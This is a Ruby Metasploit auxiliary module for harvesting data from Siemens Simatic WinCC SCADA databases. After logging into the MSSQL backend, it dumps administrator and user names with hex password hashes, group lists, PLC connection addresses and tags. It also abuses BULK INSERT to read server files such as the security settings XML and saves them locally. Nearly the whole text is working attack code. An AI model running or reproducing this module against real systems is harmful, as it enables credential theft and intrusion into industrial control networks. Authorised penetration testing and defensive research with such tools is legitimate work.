|
## encoding: UTF-8
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Simatic WinCC info harvester',
'Description' => %q{
This module receives sensitive information from the WinCC database.
},
'Author' =>
[
'Dmitry Nagibin', # research
'Gleb Gritsai <ggritsai@ptsecurity.ru>', # research
'Vyacheslav Egoshin <vegoshin@ptsecurity.ru>', # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.ptsecurity.com' ]
],
'Version' => '$Revision
,
'DisclosureDate'=> 'Jun 3 2012'
))
register_options(
[
OptString.new('DOCUMENTS_FOLDER_NAME', [true, "Documents folder name", 'Documents']),
], self.class
)
end
def run
if mssql_login_datastore # connect
project_databases_names = q("SELECT name FROM master..sysdatabases WHERE name LIKE 'CC%_[0-9]'") # get db
get_info project_databases_names
else
print_error "Can't connect to the database"
end
end
def q query, show_errors = true, verbose = false, only_rows = true
result = mssql_query(query, verbose)
if !result[:errors].empty? and show_errors
print_error "Error: #{result[:errors]}"
print_error "Error query: #{query}"
else
only_rows ? result[:rows] : result
end
end
def get_info dbs
prj ={}
dbs.map do |db|
db = db.first # get db name
prj[db] = {} # init hash
prj[db]["name"] = q("SELECT DSN FROM #{db}.dbo.CC_CsSysInfoLog")
prj[db]["admins"] = q("SELECT NAME, convert(varbinary, PASS) as PWD from #{db}.dbo.PW_USER WHERE PASS <> '' and GRPID = 1000")
prj[db]["users"] = q("SELECT ID, NAME, convert(varbinary, PASS), GRPID FROM #{db}.[dbo].[PW_USER] WHERE PASS <> '' and GRPID <> 1000")
prj[db]["groups"] = q("SELECT ID, NAME FROM #{db}.[dbo].[PW_USER] WHERE PASS = ''")
prj[db]["plcs"] = q("SELECT CONNECTIONNAME, PARAMETER FROM #{db}.[dbo].[MCPTCONNECTION]")
prj[db]["tags"] = q("SELECT VARNAME,VARTYP,COMMENTS FROM #{db}.[dbo].[PDE#TAGs]")
prj[db]["plcs"] = prj[db]["plcs"].map do |name, ip| # get plc IP
real_ip = ip # set current value
real_ip = ip.scan(/\d+\.\d+\.\d+\.\d+/).first if ip =~ /\d+\.\d+\.\d+\.\d+/ # if ip notation found
[name, real_ip]
end
print_good "Project: #{prj[db]["name"].first.first}\n" # print project name
#Table data
print_table %w|ID NAME| , prj[db]["groups"], "WinCC groups"
print_table %w|Name Password(hex)| , prj[db]["admins"], "WinCC administrator"
print_table %w|ID NAME Password(hex) GRPID| , prj[db]["users"], "WinCC users"
print_table %w|VARNAME VARTYP COMMENTS| , prj[db]["tags"], "WinCC tags"
print_table %w|CONNECTIONNAME PARAMETER| , prj[db]["plcs"], "WinCC PLCs"
#check file access through batched queries
if can_read_file? db
settings = read_file get_value("Security settings path"), db
if settings # save results to file
File.open("/tmp/security_settings.xml", "w+") do |f|
f.puts settings
end
end
end
print_line
end
end
def print_table columns, rows, header = ''
tbl = Rex::Ui::Text::Table.new(
'Indent' => 4,
'Header' => header,
'Columns' => columns
)
unless rows.nil?
rows.each do |r|
tbl << r # add rows
end
print_line tbl.to_s
end
end
#read file through batched queries
def read_file file_name, db
q("CREATE TABLE mydata (line varchar(8000));", false)
q("BULK INSERT mydata FROM '#{file_name}';", false)
result = q("select * from mydata", false)
q("DROP TABLE mydata;", false)
print_error("Can't read file: #{file_name}") if result.nil?
result
end
#check account read file
def can_read_file? db
res = read_file get_value("test"), db
print_status "Access read files! (#{get_value "test"} read)" unless res.nil?
res.size > 0 # return true or false
end
def get_value i
config = {
"Security settings path" => %q|C:\Documents and Settings\All Users\Documents\SimaticSecurityControl\setRules.xml|,
"test" => %q|C:\Windows\win.ini|
}
config[i]
end
end
|
推荐
评论(0条)
